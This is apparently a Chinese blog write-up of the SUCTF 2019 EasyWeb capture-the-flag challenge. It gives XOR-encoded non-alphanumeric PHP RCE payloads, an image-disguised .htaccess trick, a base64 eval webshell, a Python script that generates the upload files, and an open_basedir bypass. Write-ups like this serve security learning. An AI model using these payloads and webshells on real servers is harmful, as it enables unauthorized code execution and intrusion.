• [SUCTF 2019]EasyWeb


    前言:

    不是很难,但是能学到新姿势

    考点:

    代码审计

    无数字字母RCE

    文件上传

    openbasedir绕过

    解题:

    上来就是代码审计

    1. function get_the_flag(){
    2. // webadmin will remove your upload file every 20 min!!!!
    3. $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    4. if(!file_exists($userdir)){
    5. mkdir($userdir);
    6. }
    7. if(!empty($_FILES["file"])){
    8. $tmp_name = $_FILES["file"]["tmp_name"];
    9. $name = $_FILES["file"]["name"];
    10. $extension = substr($name, strrpos($name,".")+1);
    11. if(preg_match("/ph/i",$extension)) die("^_^");
    12. if(mb_strpos(file_get_contents($tmp_name), ')!==False) die("^_^");
    13. if(!exif_imagetype($tmp_name)) die("^_^");
    14. $path= $userdir."/".$name;
    15. @move_uploaded_file($tmp_name, $path);
    16. print_r($path);
    17. }
    18. }
    19. $hhh = @$_GET['_'];
    20. if (!$hhh){
    21. highlight_file(__FILE__);
    22. }
    23. if(strlen($hhh)>18){
    24. die('One inch long, one inch strong!');
    25. }
    26. if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    27. die('Try something else!');
    28. $character_type = count_chars($hhh, 3);
    29. if(strlen($character_type)>12) die("Almost there!");
    30. eval($hhh);
    31. ?>

    简单读了下代码。

    GET 传  一个  ?_  赋值给$hhh

    条件:

    $hhh 长度不能超过 18  ,不能匹配到 指定的字符, 盲猜是异或绕过。

    本地测试到 只能利用这些字符。 

    ! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { } 
    

    还有这个函数 count_chars 

     返回在字符串中所用字符的信息,本题中用的是模式3,返回在字符串中使用过的不同字符

    本地测试一下:

    1. $a = count_chars("qwe rcc ce",3);
    2. var_dump($a);

    结果:

     如果相同的字符 ,出现的次数超过12 则会退出。

    后面执行 eval($hhh)

    本题可以套娃绕过。

    如:

    http://127.0.0.1/test/test1.php?_=${_GET}{a}();&a=phpinfo

    这里用 {  } 是因为 [ ]  被过滤了。结果是一样的。

    ?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo

    先 审计一下 以下代码:

    1. function get_the_flag(){
    2. // webadmin will remove your upload file every 20 min!!!!
    3. $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    4. if(!file_exists($userdir)){
    5. mkdir($userdir);
    6. }
    7. if(!empty($_FILES["file"])){
    8. $tmp_name = $_FILES["file"]["tmp_name"];
    9. $name = $_FILES["file"]["name"];
    10. $extension = substr($name, strrpos($name,".")+1);
    11. if(preg_match("/ph/i",$extension)) die("^_^");
    12. if(mb_strpos(file_get_contents($tmp_name), ')!==False) die("^_^");
    13. if(!exif_imagetype($tmp_name)) die("^_^");
    14. $path= $userdir."/".$name;
    15. @move_uploaded_file($tmp_name, $path);
    16. print_r($path);
    17. }
    18. }

    路径会打印出来,过滤了ph的后缀  文件内容不能有

    想要上传带 ph 的后缀是不可能的了,如果上传 jpg格式的再进行包含 也是先上传 .htaccess 或者  是 .user.ini   而 .user.ini 需要有php 文件下才可以利用,所以我们上传 .htaccess 。

    新姿势:

    如何让 .htaccess 文件 被判断成图片,我按常规思路想着 加GIF89a 了 但是不行 。 

    看其他师傅的才知道。 有两种方法:

    方法一:

    1. #define width 1337
    2. #define height 1337

    方法二:

    在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
    x00x00x8ax39x8ax39 是wbmp文件的文件头
    .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

     但是还有一个问题,就是文件内容不能有

    来绕过,但是因为这题的PHP版本是7.3.4,这种写法在PHP7以后就不支持了,因此不行。

    这里又是一个新姿势:

    1. #define width 1337
    2. #define height 1337
    3. AddType application/x-httpd-php .snowy
    4. php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/123.snowy

    利用auto_append_file来包含b64解码的123.feng文章,这样往123.feng里面写b64解密后的马,就可以绕过

    但是还有一个细节需要注意,我们的123.snowy也需要是个图片,需要在前面加上GIF89a,但是这只有6个字符,需要再随便加上2个base64有的字符,这样解码的时候才能正确解码,而且不会影响到后面的PHP一句话

    GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8+

     网上的脚本,上传.htaccess

    1. SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
    2. def generate_php_file(filename, script):
    3. phpfile = open(filename, 'wb')
    4. phpfile.write(script.encode('utf-16be'))
    5. phpfile.write(SIZE_HEADER)
    6. phpfile.close()
    7. def generate_htacess():
    8. htaccess = open('.htaccess', 'wb')
    9. htaccess.write(SIZE_HEADER)
    10. htaccess.write(b'AddType application/x-httpd-php .lethe\n')
    11. htaccess.write(b'php_value zend.multibyte 1\n')
    12. htaccess.write(b'php_value zend.detect_unicode 1\n')
    13. htaccess.write(b'php_value display_errors 1\n')
    14. htaccess.close()
    15. generate_htacess()
    16. generate_php_file("shell.lethe", "$_GET['cmd']); die(); ?>")

    接下来就是最后一个点,通过phpinfo我们可以看到存在open_basedir和disable_functions的限制,这时候看一下PHP版本是7.3.4,应该存在一个绕disable_functions的洞,利用蚁剑可以直接梭:

     或者考虑命令执行一步一步绕过,因为没有过滤scandir,glob和file_get_contents,因此disable_functions这个的过滤其实对我们来说问题不大,主要的问题还是如何绕过open_basedir,姿势如下: 如果不熟悉的话,可以了解我之前写的文章。

    1. mkdir('feng');
    2. chdir('feng');
    3. ini_set('open_basedir','..');
    4. chdir('..');
    5. chdir('..');
    6. chdir('..');
    7. chdir('..');
    8. chdir('..');
    9. chdir('..');
    10. chdir('..');
    11. chdir('..');
    12. ini_set('open_basedir','/');
    13. var_dump(scandir('/'));

    总结:

    。。。

  • 相关阅读:
    浅析DNS劫持及应对方案
    VMware安装Debian,Debian分区,虚拟机使用NAT模式联网,Linux设置静态IP
    Linux内核分析与应用
    Java版本新零售小程序saas商城全开源系统
    PgSQL-并行查询系列-介绍[译]
    数据结构-------单链表
    学生HTML个人网页作业作品 基于HTML+CSS+JavaScript明星个人主页(15页)
    Lumiprobe 蛋白质标记研究方案
    不容易解的题9.26
    科学家首次为地球“全面体检”;国产光刻机或系误传;推特或将按月收费丨RTE开发者日报 Vol.52
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126749717